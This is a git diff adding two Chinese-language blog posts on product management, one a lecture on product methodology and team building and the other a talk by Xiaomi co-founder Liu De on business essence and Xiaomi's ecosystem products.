+很多公司觉得，我们产品做得差，没关系。别的公司做得好，我抄就行了。产品经理就给我这个行业打工就行。 + +其实，在我看来，产品本身是一个很广义的概念。在今天，产品仍然具有非常强的意义。因为我们现在定义的产品，并不是你公司MRD（MarketRequirement Document，市场需求文档）需求文档里定义的那些功能和模块。 + +这不是产品。 + +真正的产品，是去满足用户需求痛点、给用户创造快感，或者成本节约带来的感受。这种感受既可感知，也有可能不可感知。 + +比如时装这个行业只有100年的历史，其实就是样式、材质、长短、颜色的各种排列组合，是可以穷尽的。但了解这些后，你就可以成为时装行业的引领者吗？并不是。 + +你要意识到，你卖的产品并非鞋和裙子，而是用户使用这个东西带来的潮流自信——美的感觉。对于女性来说，穿裙子不是她的刚需，自信漂亮才是。 + +所以你理解方法，不代表你就可以做产品。你理解的产品，与用户对你的感知，两者差异会很大。 + +而尽管从感知上，产品没有确定方法，可以说是条条大路通罗马。但产品是可以形成方法论的。我自身进入互联网十几年，这个方法论不断生长和变化，很有意思。 + +产品这个话题涉及的内容非常广泛：从需求定义，到实践，市场运营验证，再往后的数据建设与分析，在不断迭代中的竞品关系等，这是一个完整的流程。 + +我把产品划分成五个阶段： + +阶段一：立项（该不该做） + +阶段二：产品定义（能不能做） + +阶段三：组织实施（搭建什么样的团队） + +阶段四：商业模式（具备盈利能力） + +阶段五：建立企业机制和企业文化（制度和价值观） + +产品该不该做，判断力是产品经理最核心的能力 + +判断一个产品该不该做，这里面需要拆解两个要点，产品，和人。 + +# 产品 + +按照需求的迫切度来区分，产品分三个层次：可以有——需要“你”——离不开。 + +①可以有 + +这是一个使用频次的问题。很多人意识不到，“可以有”意味着对用户来说，也“可以没有”。多数产品都停留在这个层次。这种产品是个创新，也满足了一部分人的需求，但也就仅此而已了。不能进入第二阶段。 + +②需要你 + +这个主语是用户，“用户需要你”。有一部分用户对产品产生了需求依赖，但这个层次需要面对一大问题是替代和竞争。 + +比如电动剃须刀，它的产生有没有让传统剃须刀销量下滑，也不会让其生意彻底消亡。你可以有，但是替代优势不是那么明显。 + +尽管整个市场方向中，电动剃须刀的使用频次已经很高，但是其所作的创新与原有产品相比，也并不能够把体验或成本节约提升到下一个高度。在场男士肯定有感受，无论电动剃须刀的广告多好，卖得多贵，它始终没有传统剃须刀刮得干净。 + +这种产品，其优势体验既不能解决市场原有产品的问题，同时又创造了新的负担，就只能停留在这个阶段。 + +③离不开 + +用户一旦用了就离不开，这是产品的最好阶段，往往已经彻底颠覆这个行业。用户形成了产品使用习惯，高度认同你的技术和体验，在市场中形成了足够高的壁垒。这时，你就是很好的企业，拥有定价能力，自然而然形成盈利的空间。 + +因此，在你决定去做一件事时，要事先预测：我的产品满足什么条件才能实现一、二、三阶段之前的跨越，能走到多远。事实上，今天有很多行业都走不到最后。 + +举个例子。 + +大家都知道装修的痛点非常多，不比买房差。一般俩人谈恋爱，一买房就结婚了，一装修就分手了。我身边真有这样的案例。 + +为什么装修造成这么大问题？ + +①耗时间。 + +②对普通用户学习成本高。 + +③不同阶段有不同的东西需要决策。在一个陌生领域，不同人有不同决策，容易发生分歧。 + +这是多么好的需求痛点。 + +于是，很多人总结原因，觉得这是价格、材料、品牌、交付施工服务等全程不标准造成的。他们去做互联网装修。两年过去了，做得好的人并不多，也很难形成盈利。 + +为什么？你并没有解决核心问题。 + +装修这个行业，如果是做精品，就没有规模、频次低，生意没法做。事实上，对你来说最核心的是，假如你也具备了规模，那么这么多的工长、施工队，在一个复购低频的行业中如何被激励、如何被管理，去保证他最终的交付质量是你同样要面对的问题。 + +如果你想再这种情况下做规模，就要改变产品方向，转为培训管理人的行业。但如此一来，你要面对的某些问题就与传统大型装修公司没什么区别了。 + +# 人 + +首先，选择一个业务，要考虑两点：喜欢和擅长。 + +最好当然是两点兼备，最糟糕的是两个条件都不具备。 + +如果是后者，我建议大家就不要折腾了。 + +你也别坚持，你不喜欢也不擅长，其实也就是你只有梦想。这真的是非常疲劳的一件事情，最后坑很多人。这是一个了解自己的过程，你要了解自己喜欢做什么事情，做什么事情不累，做什么事情一个通宵没睡，还觉得自己状态很好，很兴奋。 + +其次，产品经理和CEO一样，最重要的是判断力。 + +关键时刻的YES or NO，对产品发展至关重要。好的产品经理应该有判断力，愿意承担后果，并能够分析出失败的原因和改进的方法。 + +公司进入产品定义阶段时，要尽可能把问题抽象化，而不是陷入到执行的细节里。早期就想很多细节，团队是没有生命力的。 + +有的创始人，管得特别具体。他会具体到这个功能会长这样，那个交互应该这样。如果你总是试图去干预，你的产品经理和团队就退化了，他们自己不去学习，而总是试图揣摩和迎合，失去创造的动力。 + +你要负责的是说“好”或“不好”，并讲清为什么，而不是剥夺团队应尽的职能。这会导致你的精力分配出现问题。在初创团队中比较常见，彼此关心了对方本更该关心的问题，自己最重要的事情反而没有足够的关心。 + +对于一个产品人来说，判断力是不可缺少的。如果你一直都是模棱两可，每一次都抱着赌博的心态，你的感觉也没有越变越好，那么你在这个领域就没有太大发展。 + +判断力也是一种天赋。如果你的个性愿意承担做判断的风险，且结果成功率比较高，那你就坚持做下去。如果你屡战屡败，就找一个比你会做判断的人去做判断。你可以去做你擅长的部分，比如销售。 + +产品能不能做？通过四个步骤构建产品实操方法论 + +这个问题的核心，是实施产品的方法。什么样的产品，才能承载你的初衷并且达到最终的目的呢？ + +我的产品实操方法论，通过四个步骤展开：竞品研究、市场分析、客群分析和能力储备。 + +# 竞品研究 + + 廉价航空的竞争对手是谁？ + + +高铁。 + +什么是竞品？要有清晰的定位。它可能在你的行业里面，也可能不在。要从最终产品解决用户什么需求痛点的角度去出发看竞品是谁。只紧盯着和自己长得像的人去复制或者硬拼，很难赢。 + +# 市场分析 + +产品经理最重要的任务式联系用户，和用户沟通。在这个阶段，不能光听你自己团队的人怎么说，要真正走到市场上去。 + +很多公司都有APP，怎么了解市场对你的认可度？要走到深圳华强北、北京中关村的刷机店，看看用户拿到新机或刷机后早期最离不开哪几个APP。大数据，是要在感性基础之上建立的。 + +你千万不要盯着成功公司的PR说辞去做。你要了解的是自己怎么控制渠道，最能打动消费者的话是什么。 + +很多消费者进了手机店本来是去买华为或者小米，结果进去十分钟就改主意买OPPO，为什么？因为他们有一套话术，三五分钟就打消了消费者的念头。好比他透过接触和反复的迭代试错，知道了年轻消费者的真正需求痛点是拍照，如今另一个痛点是“充电五分钟，通话两小时”。 + +你怎么看待自己的产品，和用户怎么看待真的不一样。 + +微软曾经说自己的Office功能特别强大，绝大部分用户只用了5%，他认为这是一种强大和完善。用户都讽刺它说，既然剩下95%的功能用户都不用，你做它干嘛？ + +# 客群分析 + +要对客群进行分类识别：新老客户、不同消费习惯、阶层、不同使用时长、不同渠道来源、不同机型……你要建立自己的数据仓库，会定义自己的数据报表，知道你做的产品要看什么指标，如何用各种条件交叉分析，从而更了解你的用户，找出各种你想不到的共性和问题。 + +百度贴吧早期出来的时候，并不是为做社区而做社区，而是做信息沉淀。那个时候搜索引擎搜不出什么东西，还要教大家怎么使用关键词搜索。这是最大的痛点，所以产生了贴吧。贴吧是一个自然表达“说人话”的地方，不需要关键词。 + +所以，这个时候贴吧的产品经理应该做什么？是新增活跃贴吧数、话题广度。这些都与传统社区不一样，如果你去看人家的考核UV（独立访客）和PV（浏览次数）、卖了多少广告，那就是走错路了。 + +分析你平台产品的不同类型用户，寻找其中的主流用户，找到共性，这才重要。除非你是做单品硬件。 + +# 能力储备 + +公司一起步，立刻找了一批很贵的人去打造一些可能趋于完美时才需要的项目，这种模式往往很难存活。 + +那么，起步阶段正确的路径是什么？ + +先分析自己在当前的产品阶段下，解决被一部分用户真正认可、需要、乃至离不开，最需要的能力是什么，能够建立一定的根据地和壁垒，哪怕是时间带来的规模沉淀。是渠道管理？是扫街地推？还是别的？根据需要的，搭建匹配的团队，储备合适的人才。如果一味追求高端人才，而没有配备他需要的施展空间，反而会导致人才更快地流失。 + +验证了产品市场需求，着手进入下一阶段，则能力储备也需要一定的预见性。比如外卖生意，往后看，人工智能是行业发展的关键点。在适当的时机，需要提前储备人工智能领域的技术人才，占领好外卖行业的先手优势。 + +搭建团队：你的赛道，是铁人三项还是百米飞人？ + +阶段一讲该不该做，阶段二讲能不能做，回答这两个问题以后，基本上就进入到执行落地了。 + +搭建团队和商业模式，我认为是迭代进行的，不能分开看。商业模式决定核心团队的搭建，核心团队的能力影响商业模式的发展。一言以蔽之，商业模式要和团队能力相匹配。 + +# 商业模式决定团队形式 + +做单点突破？还是平台战略？ + +小米的早期，雷军雷总说小米的商业模式是“铁人三项”：硬件、软件、互联网。但小米初期真正执行的结果对于大多数小米粉丝是什么感受呢？我叫他“百米飞人”。 + +铁人三项，包括天然水域游泳、公路自行车、公路长跑，讲求的是在均衡，不能有短板。这项运动不会出明星世界运动员，却是一项特别感人的运动。这很像雷总的气质，就是劳模。你看他的创业，会觉得很感动，每一个都很苦。 + +“铁人三项”为什么不能出明星运动员？这项运动要求的是每一项都不能太差。那么，你就不能做到“极致”和“发烧”。“ + +百米飞人”的意思，就是要有一个点特别突出。百米飞人，一个顶尖百米选手会有足够明星效应，最终呈现的样貌就是那9秒多的跑程，背后却集结了相当专业团队的努力，从营养到康复。 + +小米初期类似于最后给消费者呈现的手机，是一个完整的产品感受。手机的每个单个功能配件怎么样，对于绝大部分使用这个手机的用户来说，是很难清晰表达的，也并不需要有这个感知。在他看来，需要的就是手机综合感受。 + +你的团队，默默去完善软件、硬件各项功能，这ok。但是不能把整个过程定义为“铁人三项”，因为团队的期望值会改变，变为只求没有短板。 + +# 加强团队和抗击打能力 + +我看到很多创业公司的CEO，至少花了三分之一的时间去融资，这轮刚结束，很快就开始谈潜在的下一轮；再三分之一的时间，去参加各种行业的会议，学习交流；剩下不到三分之一时间，回来和合伙人沟通，没有时间去了解用户客户和骨干员工。 + +有些事情消耗了大量的精力。但这是不足够有意义和价值的。 + +企业发展到一定阶段，节奏变快以后，创业团队的结构是非常容易流动不稳固的。要把时间花在和核心骨干员工的沟通交流上，帮助你管理团队的人拉近距离。 + +如果只是追求扩张，而没有一个稳定的核心骨干团队，这样的创业很难成功，也很难有持久性。 + +这里我想举一个最近热门的话题，搏击的例子。搏击竞技比的是什么？第一是抗击打，第二体能，且是在心肺功能达到极限的情况下，你的体能能坚持多久时间。 + +这对应到企业是什么？就是团队的生存能力。很多公司讲PPT讲得很丰满，逻辑很闭合，也很严密。但就是没有团队能实现这件事，一打内部就先乱了，或者一挨打就坚持不住。 + +内功的修炼——稳固团队非常重要，这不可避免，必须要做。如果你发现你合伙人就已经耗费你太多精力，要么你换个汇报方式，要么你换人。否则你的精力无法让你在企业贴身肉搏的阶段具有足够的竞争力。 + +团队要经得起折腾，多做一些内功的锻炼，没什么不好。 + +商业模式：团建搭建与商业模式相互影响 + +有清晰的商业模式，才能够让价值观落地。 + +团队搭建跟商业模式构建是相互影响的，是动态迭代的，二者共生，且不断发生着变化。每个阶段，企业家都会面临团队转型、商业模式重新定义的多个选择。 + +苹果公司的商业模式跟团队有着密切的关系，商业模式影响着团队的组建；而团队发生变化后，商业模式和核心产品定位也随之改变。 + +你不得不承认苹果真的在改变。 + +在乔布斯时代苹果的发布会让你的感受特别不一样。你们应该印象深刻，那个时候的苹果发布会，我们熬夜看完。看完以后热血沸腾，觉得新产品做得又厉害了，超过预期和一般认知，与此同时特别想尽快拿到这个手机真正上手。拿到以后，只会让你觉得使用体验确实更震撼。 + +这一两年，你同样熬夜看完苹果的发布会，也会买。因为相较于安卓机来说，苹果手机的综合体验还是更好。但你还有迫切的想拿到新一代手机的快感吗？或许，看发布会的优越感比拿到新手机时更大。 + +国内模仿型企业就是如此。通常发布会给你的快感更大，拿到真机用一段却觉得不过如此。 + +但反过来看，事实上苹果的团队正在发生变化，它的销售和盈利能力反而更强了。曾经有很多投资人觉得苹果手机缺乏竞争力，做空苹果的股票，吃了亏。 + +实际上，创新能力的下降，也不代表苹果不赚钱。 + +乔布斯做的每一款产品更容易吸引人，但他付出的代价、伴随失败的风险也一定比库克做的时候大。 + +尽管想象空间萎缩，但库克可以保证利润稳定。他现在不断强化品牌、营销、感受，在低端和高端双向尝试，切到了更多消费群体、完善销售覆盖和产品上下游生态。而围绕这些产品构建生态越做越大，苹果对整个生态系统的控制力也在加强。 + +商业模式在一定程度被动改变后，产品定义的方式也要随之变化。或许这没有孰对孰错。你要找到你能驾驭的商业方式，发挥你的优势去构建你的核心竞争力、搭建你的团队，从而形成自己得心应手的壁垒。而不是在自己不擅长的地方使劲较劲，到一定阶段，效率不高。 + +实际上，转型对于绝大多数经历阅历没有重大改变的人或者企业，是非常困难的，不要追求“你觉得”、“市场觉得”的那个“什么什么”好，你使劲模仿也未必能驾驭。还是要从自己喜欢和擅长的角度出发，单点极致，价值最大。 + +企业的机制和文化：培养核心骨干，是leader最重要的事 + +其实，在正常情况下，前面四点都被反复应用、实践、形成上上下下的系统方法，大致能囊括了产品方法论从任务、人、环境、自身的迭代。为什么第五阶段，我还要讲“企业机制和文化”这个阶段？ + +制度这个词，其实冷冰冰的。但对一个超过100人规模的大企业，还是很重要的。这个规模的公司，意为着你已经很可能叫不出每一个员工的名字了。这个时候，最差，企业要有机制；最好，企业要有文化价值观。 + +# 制度管理 + +在我看来，核心制度主要包括三种：决策制度、评价制度、奖罚制度。 + +决策制度：员工不一定要了解公司战略，但是他应该知道自己的公司是怎么做决策的。他不一定了解所有人怎么做事做决定，但是要知道公司对一个事情如何决策、事后如何评价，对应结果的奖罚逻辑是什么。 + +评价制度：很多公司对人对事，不重视评价和反馈，或者在这方面做得非常潦草。所以员工的自我认知和创始人对员工的认知，是错位的。两个人都不愿捅破窗户纸，在有成绩或者有失败的时候，很多事实际就讲不清楚了。 + +# 灰度管理 + +管理不是一个非黑即白的事情，评价和奖罚实际上也不是，它中间有灰度。很多人都说，灰度很抽象，怎么管理灰度？我的理解是，不要非黑即白的机械执行管理，但也不能不清不楚，所以很多时候你要根据自己不同的企业情况，选择你是倾向“管理上限”的公司，还是倾向“管理下限”的公司。“上限”就是奖，“下限”就是罚。 + +不同选择，会给企业带来不用的结果，不是奖越多越好，也不是罚越重越好。这与你的企业经营情况有关。 + +我的建议是： + +创新型组织管理上限。所谓上限，就是鼓励试错。 + +你可以特别认真和高调的去“奖”，把“奖”这个事做得很明确，比如该奖哪些人。与此同时不要把罚责搞得太重，罚会让人怕出错，久而久之层层人员的执行和变换放大压力，这个组织是不可能有创新活力的。 + +交付型企业或者制造型企业这种进入稳定的大型公司，内部已经非常清晰的板块化、链条化、边界非常清晰的组织，一定要管理好下限。 + +大公司有很多精英，本身职业能力和背景都没有问题。但是在这么大平台上，成功和失败往往都不是一个人的，而是一群人共同作用的因素。如果在这种情况下，你去奖，造成的记过就是大家都想立功，不是追求一起立功，而是分别“立功”，或者有功劳一拥而上，他们都不想被责罚，他们都想做出成绩，那事情就多了。 + +这个时候，一定要把组织边界定义清楚，这类型的组织要把“罚”，也就是你管理的“下限”定清楚。 + +你可以设想一下，如果一个大型企业，以“奖”为管理模式，就会发现营销、客服、研发、市场甚至人力资源这些部门都要立功。他们每天都会来占用你的精力，告诉你我这儿做一个创新，那儿做了一个创新。你根本判断不过来最终这些东西如何影响到你的用户、客户。 + +客观上，你必须承认假如你已经是一个不追求灵活的企业，是一个被市场、客户要求稳健的企业。如果你还喊着这种创新的军工口号，你的研发效率、创新效率实际叠加了你庞大的组织和复杂的人性后，都会非常低。 + +在庞大复杂的体系里鼓吹创新，这其实挺危险的。因为你的链条已经很复杂，边界又很清晰。大家都在自己的角度分别搞创新，你要学习、决策的东西就会非常多。你也不能再保证每个决策对最终整体的结果都是好的。这时你要做的，是鼓励大家不要无谓的折腾。 + +如果你要创新，可以做独立的小型组织，灵活的设计激励、部门，或者选择去通过系统科学的投资来实现学习、创新，而不要让原有的组织在一个规模上产生巨大的动荡，不要让复杂的组织各自琢磨看上去抽象的事。 + +# 带人是最重要的事 + +那些比较成功的互联网企业、乃至传统企业，他们有个共同点，就是在最辉煌、业务飞速发展的几年，都会同时涌现出了一批卓越的中层人才。比如百度在05-07年的时候，出了一大批优秀的产品经理。 + +当一个企业创新能力下降的时候，内部人才培养的能力也变得很差，开始依赖外部招聘。你自己的人没时间选、用不好、培养不出来，再去试图空降一些有经验的人，最终很可能也不能改变低效率这个结果，反而会让组织和氛围变得越发平庸。 + +企业要在业务还能发展的时候，用好人。要花足够多的精力反复思考自己在做什么产品，怎么卖东西；预见性的考虑要留哪些人，要和哪些人交流，花时间在他们身上，争取在业务发展的过程里把一批人带出来。 + +企业发展到一定阶段后，还能有目标并持续发展到下一个境界，才能保持住活力。单点上做得很好，到了一定规模就很难实现增长和变化。即使你占有的市场仍然是有价值的，但是你和企业应变的需要下降了，组织自己逐渐就没有活力了。 + +与上述优秀企业的案例相反，很多时候你会发现大部分的公司，其创始人和骨干核心团队的水平差别特别大。你和创始人聊，会觉得特别清楚，发现他对行业和业务都有很深的洞察。但是你和他下面一层两层打交道，和任何一个人交流可能都觉得很痛苦，效率又低又不解决问题。这类企业现在挺多的。 + +这个责任，当然全部是管理者的责任。带不出人，企业不可能持续发展。企业不能持续发展，不能预见性的匹配人和业务，人和业务不能彼此推动，就会陷入一个停滞甚至淘汰的可能。 + +# 参考 + +[李明远：现在还是不是做产品最好的时代？](http://hdyxs.hundun.cn/Repo/h5_article_share/article_share.html?id=086408d61dba9ea6183772ff30e5d0a9) diff --git a/_posts/2017-10-17-260-product-mgr.md b/_posts/2017-10-17-260-product-mgr.md new file mode 100644 index 0000000..c62f10d --- /dev/null +++ b/_posts/2017-10-17-260-product-mgr.md @@ -0,0 +1,370 @@ +--- +layout: post +title: 刘德：产品竞争与自我迭代 +pid: 260 +tags: [产品经理] +--- + + “小米下一代是什么？” + + “说实话我也不知道，我们可能是又一次逼近了对终极手机的想象。” + + 面对社员的提问，5月13日，小米联合创始人、副总裁刘德在混沌研习社课堂如此回答。 + + 刘德称，做公司有两点很重要。一方面要知道自己优势，另一方面要想象未来。如果两个圈没有交集，要迅速改变。如果两个圈有交集，要把交集的部分迅速放大，这可能是未来。 + +文｜刘德 +小米科技联合创始人、副总裁、小米生态链负责人 + +2017年4月，是小米成立7周年。 + +我分享下我这7年的感受，总结起来就是 “三个没想到”。 + +第一，没想到这么大规模。 + +因为今年按雷总的目标，如果不出意外的话，小米应该稳稳地过一千亿的营收，我没想到有这么大规模。 + +当我们卖出第一个30万台手机的时候，用了不到三个小时。我们迅速修订了这个目标，我们觉得这不是100亿美金市值的公司，有可能做成一家1000亿美金市值的公司。 + +第二，没想到这么长时间。四年做一个上市公司，大家分钱，啥都不耽误，多美好。忽然打到第七年的时候，我们发现路还长着呢。 + +第三，没想到这么痛苦。 + +所有创业的人都应该感受的到，当你真正创业了，远远比你想象的痛苦。我觉得创业非常像在大学里谈恋爱，短期的记忆是痛苦的，长期的回忆是美好的。 + +创业就是这样的，创业过程中每天都是痛苦的，只有你退休以后，坐在家里回想起来你还做了一件你非常想做的事情，这个事情对社会有意义，那是美好的回忆，这就是创业。 + +也有人说德哥，小米将来上市了，你还干点什么？这事其实挺痛苦的，因为任何一个时代的大机会是有限的，对我来讲，很难找到另外一件比做小米更刺激的事情了。我也希望团队的人理解，大家踏踏实实把小米这件事干好就不错了，不要再有别的想法。 + +有一次我去拜访了一个企业界的老前辈，他两次实操过一千亿的过程。所以我就问他到底是什么因素能够让一个企业长大，从零到一千亿？大家都知道外界的因素是机会，但我就想知道内因是什么。他的回答就两个字——吃亏。 + +由此我一下子想起了很久以前读过的一篇文章。别人问李嘉诚，你生意做的这么大，到底怎么做的呢？他说最核心的是当你能挣十块的时候，挣八块。 + +这两个原则，跟今天小米高性价比逻辑是完全一样的，性价比是很重要的。 + +▌做生意如何看清商业本质？ + +对任何一个领域的产品而言，如何认定它的本质，非常重要。 + +我们做任何行业，都要把这个行业的本质看清楚。因为只有当你知道它的生意本质的时候，才能掌握住节奏。只有当你对产品定义清楚了，你才会发现，你的思考方式和策略会变得完全不一样。 + +我们在做小米移动电源、小米插线板和小米净化器这三款产品的时候，就是按照这样的逻辑去找到我们的打法的。 + +# 尾货生意：小米移动电源 + +要掌握住一个生意的节奏，你首先需要认清它的生意本质。这是我们做小米移动电源的时候得到的收获。 + +大概在2011年、2012年，小米刚出完小米1手机，该出小米2手机的时候，我们当时想做移动电源，就组织了一个小分队。最后做出来的产品，成本大概一百多，我们卖两百多。 + +一年下来，我们大概卖了两万多支移动电源。我说算了不要干了，因为我们还没有弄懂移动电源到底是什么生意。 + +2013年年初，深圳有个兄弟来找我，说有便宜的移动电源，问我能不能卖。我说移动电源山寨电芯是很危险的。他说电芯是苹果的尾货，很安全。我这才知道，移动电源生意的本质是尾货生意。 + +看到这一点，小米还不能干，为什么呢？ + +因为小米的产品逻辑是单品海量，一个产品通吃。但是当时苹果这种型号的电芯数量不足，不符合我们单品海量的逻辑。 + +不过，商业社会是一个信号学的世界，任何一个商业信息背后都有它的信号。 + +2013年4月份，联想发了一个通告，说联想已经是全球最大的笔记本供应商了。这背后有两个信号。 + +第一个信号，是说全世界人民都不做笔记本了，所以联想最大。 + +第二个信号，是说笔记本里面的标准电芯一定会出现全球的尾货，那个时候PAD的量很大，笔记本的量在下降。 + +我们捕捉到了这个信息，就是全球1860的标准电芯可能有全球的尾货出现。这时候，移动电源就很适合我们干了。所以我们马上投了一家小公司，它原来是给日本做手机ODM的。我们跟他讲不要再做ODM手机了，全力转做移动电源。 + +那一年的12月份，我们推出了69元的小米移动电源，那是全球移动电源产业的不眠之夜。我们用一年时间，占据了中国移动电源市场40%的规模，我们每年需要采购全球1/7的1860电芯。 + +所以说，进入任何一个行业，要把这个行业本质看清楚。只有当你看清楚了，你才能够去捕捉机会，然后利用这种机会。 + +# 蚂蚁市场：小米插线板 + +我再讲一个例子，就是小米的插线板。做插板这个领域，我开始思考一个逻辑，叫做蚂蚁市场。 + +什么叫蚂蚁市场呢？ + +在美国，有很多产业是这样的：四五家巨头垄断了这个市场的80%，向80%的大众国民用户提供价格合理的产品。此外还有20%的细分市场。这是一个成熟的市场状态。 + +但是中国这个国家太特殊了。过去30年里，我们的市场经济不是一个常态发展的过程，所以很多领域都出现了蚂蚁市场，而这些领域里没有巨头，这就是蚂蚁市场。 + +插线板就是其中一个蚂蚁市场。在中国的插线板市场里面，“公牛”是最大的，占30%。排第二名的叫“突破”，占3%不到。第三名统计不出来了，市场被所有小厂子完全瓜分掉了。 + +这之后，我们又我们发现，传统的插线板得不到重视，放在桌子底下，很不方便。有人说插线板放在桌子上多好，方便，而且我们需要USB插口。所以插线板这个市场：第一，有需求；第二，这是蚂蚁市场。 + +所以我们找到了这个市场的第二名，北京的“突破”，跟“突破”一起，去做美轮美奂插线板，重新定义这个市场。 + +我们当时怎么定义这个产品的？ + +第一，是外观一定要做到美轮美奂，让人们愿意把它放在桌子上。 + +第二，我们看到的插排都是又大又蠢的，所以我们一定要把插线板做到极致的最小体积。 + +第三，我们要从内部结构上完全改革改良传统插线板的状态。 + +第四，很有趣一点，就是你看所有的插线板，因为它是塑料做的，侧面看着有斜度。我们要把斜度几乎做到尽可能小。 + +我们用完全极致的逻辑，最小的体积，最精致的工艺，最安全可靠的设计，做出了小米插线板。 + +今天你们要到超市去看一看，可能到处有跟小米插线板一样的插线板了。这个产品最大意义，是提高了产业竞争力。 + +# 战略物资：小米净化器 + +你做每个产品，打每一仗，都要对这场战争的本质有认识。只有当你定义清楚以后，你才会发现，你的思考方式和策略会变得完全不一样，知道要按什么逻辑备货，按什么逻辑做这款产品。 + +对于小米净化器，我们给它起了个新名字，叫战略物资。为什么我们叫它战略物资呢？ + +因为在北京这种雾霾下，净化器的属性完全转变了。它不再是普通的民用商品，而是跟地震以后的账篷、核战争以后的面具一个属性，所以我们管它叫战略物资。 + +我们是怎么把小米净化器做出来的呢？这里有一个故事。 + +2013年初、2014年底的时候，小米生态链刚开始干，需要样板工程。以当时的雾霾的状态，我认为净化器这款产品有可能做出样板来。我们就开始到处去看公司。 + +我们选择了跟创业级的团队合作，想把产品定义到准专业级这一层，跟布魯雅尔在一个水准上。 + +净化器这个产品有时间轴。如果在每年的10月份雾霾期来之前，这个产品不能做出来上市，错过打仗时间，这一仗就没法打了。所以我们至少要预留十个月的开发时间。 + +那么，我要找谁来做小米净化器呢？我就开始翻我通讯录，找一找过去熟悉的兄弟，看看谁适合出来打仗。我发现了一个人，他叫苏峻。在北京当大学老师的时候，我还跟他开过一个小设计公司。 + +我之所以想找他，有这么几个原因：第一，熟悉，交流成本很低。第二，他是老师出身，能忽悠。你要组队的话，能忽悠是很重要的。第三，他是设计师，所以他对产品的把控没有问题。第四，我认为他的职业未来没前途，最多是一个大学校长。 + +我约了他在老舍茶馆里面见的面，跟他讲净化器这一仗多么有机会，有可能在几年时间里做成一个百亿级的企业。从一个老师出身，三年能做出一家一百亿公司，你就成仙了。这是一个成仙的机会。 + +苏博士最后同意加入了。那个时候，时间已经很紧张了，我告诉他这一仗应该怎么打。 + +第一，迅速组队。组什么样的人呢？我建议他组日本人的队伍，完全去挖日本的公司里的工程师。在这个世界上，日本人做电器还是不错的。 + +第二，迅速找对标公司，一票做到1000块以内。 + +第三，找日本工厂。跟日本公司合作非常稳定，而且它们都非常忠诚。 + +当时是2月份。我们希望用十个月时间从零开始，设计、制造，摆平所有供应链体系，10月份出产品很紧张。 + +所以那个时候，真的一天当两天用，每天12小时、14小时地工作，一周干七天，完全进入了创业状态。我记得反正三年下来，苏博士的头发都白掉了，而且还少了。 + +另外，为什么我讲商业社会的信号很重要？ + +那一年，也就是2014年的年初，市政府有一个官员来找我们，是我负责接待的，他跟我说北京要开APEC。APEC一开，北京的雾霾会比往年晚来一个月，我们又多一个月研发时间。 + +11月8号，我们发布了小米净化器。第一年卖了不到100万台，可能有10亿多一点的收入，第二年卖了200万台，收入17亿。 + +苏博士在第二年时候做了一次融资，按10亿美金估值，基本就是70亿人民币。所以我跟苏博士讲，三年还你一百亿，两年给你70亿，剩下一年自己弄吧。 + +三个小米的产品案例总结下来，说明了要把一个生意做成，先了解它的生意本质，是多么重要。 + +只有真的了解了一场商业战争的本质，你才有可能打赢它。 + +▌小米将是杂货铺还是国民公司? + +因为小米买的东西很杂，所以有人说小米是杂货铺，但其实我们每一个布局都有严格的逻辑，我们更像一个国民公司。 + +有一年，忽然有大量媒体报道人们到日本买马桶盖、电饭煲。我们意识到，这是个信号：舆论正在帮我们教育市场。 + +而我们应该做的，是进去收割它，享受红利——我们应该做电饭煲。 + +其实，我真的对只做一家电饭煲公司不感兴趣，那充其量只是一家卖锅的公司。而我们做饭煲的这家公司，对其未来定位在于精准的渠道。 + +# 精准渠道须大数据公司布局 + +大家想一想，当只有这家公司可以做出IH压力煲的时候，它还是普通的电饭煲公司吗？它将成为有科技制高点的公司。 + +所以，在那个时候，我给这家公司提出的要求是：做出这个世界上难度系数最高的锅，也就是IH压力煲。这种电饭煲升温迅速，加热均匀，焖制过程也可精准控制。这是第一个台阶，属性的改变：从卖锅的公司，成为一家高科技公司。 + +第二个台阶是，当这些锅能够相互连接、和手机连接、可以远程控制，其制造者就开始成为一家互联网公司。因为锅有了手机的早期属性——可以相连。而互联网公司比科技公司还要酷一点、值钱一点、含金量高一点。 + +第三个台阶，当这家公司一年卖出两千万支联网饭煲的时候，它得到的就是大量信息：用户几点开饭、吃什么米、经常吃米饭还是吃粥、每天做几顿饭、在中国哪个位置更多用我的饭煲等等。这家公司会成为一家大数据公司，含金量更高了。 + +但这仍旧不是我想要的公司。 + +当饭煲可以联网，我就可以精准地知道你每天喜欢吃什么样的米；你的一袋米快吃完的时候，我还可以通过饭煲的APP把大米卖给你。就是说，我们可以从田间地头直接把大米卖到你家厨房的锅里。 + +这个世界永远是效率高的打败效率低的。所以，离人越近越有竞争力，路径短的打败路径长的。 + +早年，粮店还存在。为什么粮店后来干不下去了？被超市颠覆了。因为超市的效率更高。后来，粮油副食品开始在网上售卖，人们也不愿意跑商店了。 + +在过去一百年中，渠道是强权的：谁有渠道谁牛。未来的一百年会变成什么样，我不知道。但在未来二十年，渠道将依然是强权的，依然是王者。 + +不同的是，那时一定是高效率渠道打败低效率的，短通道渠道打败长的——如果你创业要做渠道方面，就要按照这个思路去做。 + +# “杂货铺”在为国民企业布局 + +世界上的渠道分为几种呢？ + +传统渠道。包括地推渠道、传统店面渠道。 + +互联网渠道。分为阿里这种自由市场式电商渠道、京东这样的百货公司电商渠道，还有小米这样的品牌电商。小米是一个专卖店，更多卖自己家东西。 + +其实，还存在第四种形式，也就是遥控器电商。所有的硬件都可以联网、智能化。当这些硬件具备手机属性的时候，就开始具有一个新属性，就是渠道：只要你卖的量大，这些都是渠道。净化器可以卖滤芯。电饭煲可以卖大米。 + +我们的净化器在本质上也是一个渠道公司：它也是大数据公司，也是互联网公司。 + +因为它所有产品都互联，可以最精准知道每家每户的空气质量：有一个大数据图，一下子就能看到北京那个地方空气质量差，那个地方空气质量好，比政府报的时候还准。当你没有滤芯的时候，还可达到一键让滤芯到家。 + +这也是精准的渠道公司，而且，不仅于此。 + +一个人买了小米的净化器，回家后打开，我们就可以知道这个人家中空气比较干燥。我们推送一条信息给他：兄弟，你家里空气比较干燥。尤其在北方的11月份以后，建议你使用加湿器。如果你需要加湿器，你可以按一个键，明天小米加湿器送你家。 + +这个人买了加湿器以后，每天加水使用，觉得效果非常好。接着，他可能还会接到一个推送：兄弟，我们建议你添加纯净水。因为你家水质数据显示不太好，我建议你买一个净水器。如果你需要净水器，按一个键，明天净水器送你家。 + +一个推荐一个，这是一个“打都打不死”的电商：因为这个自动贩卖机是你自己花钱请到你家去的。 + +我们今天对耗材的布局，都是为了未来享受渠道优势和红利。所有的硬件产品相连，都是遥控器电商，都是渠道。 + + 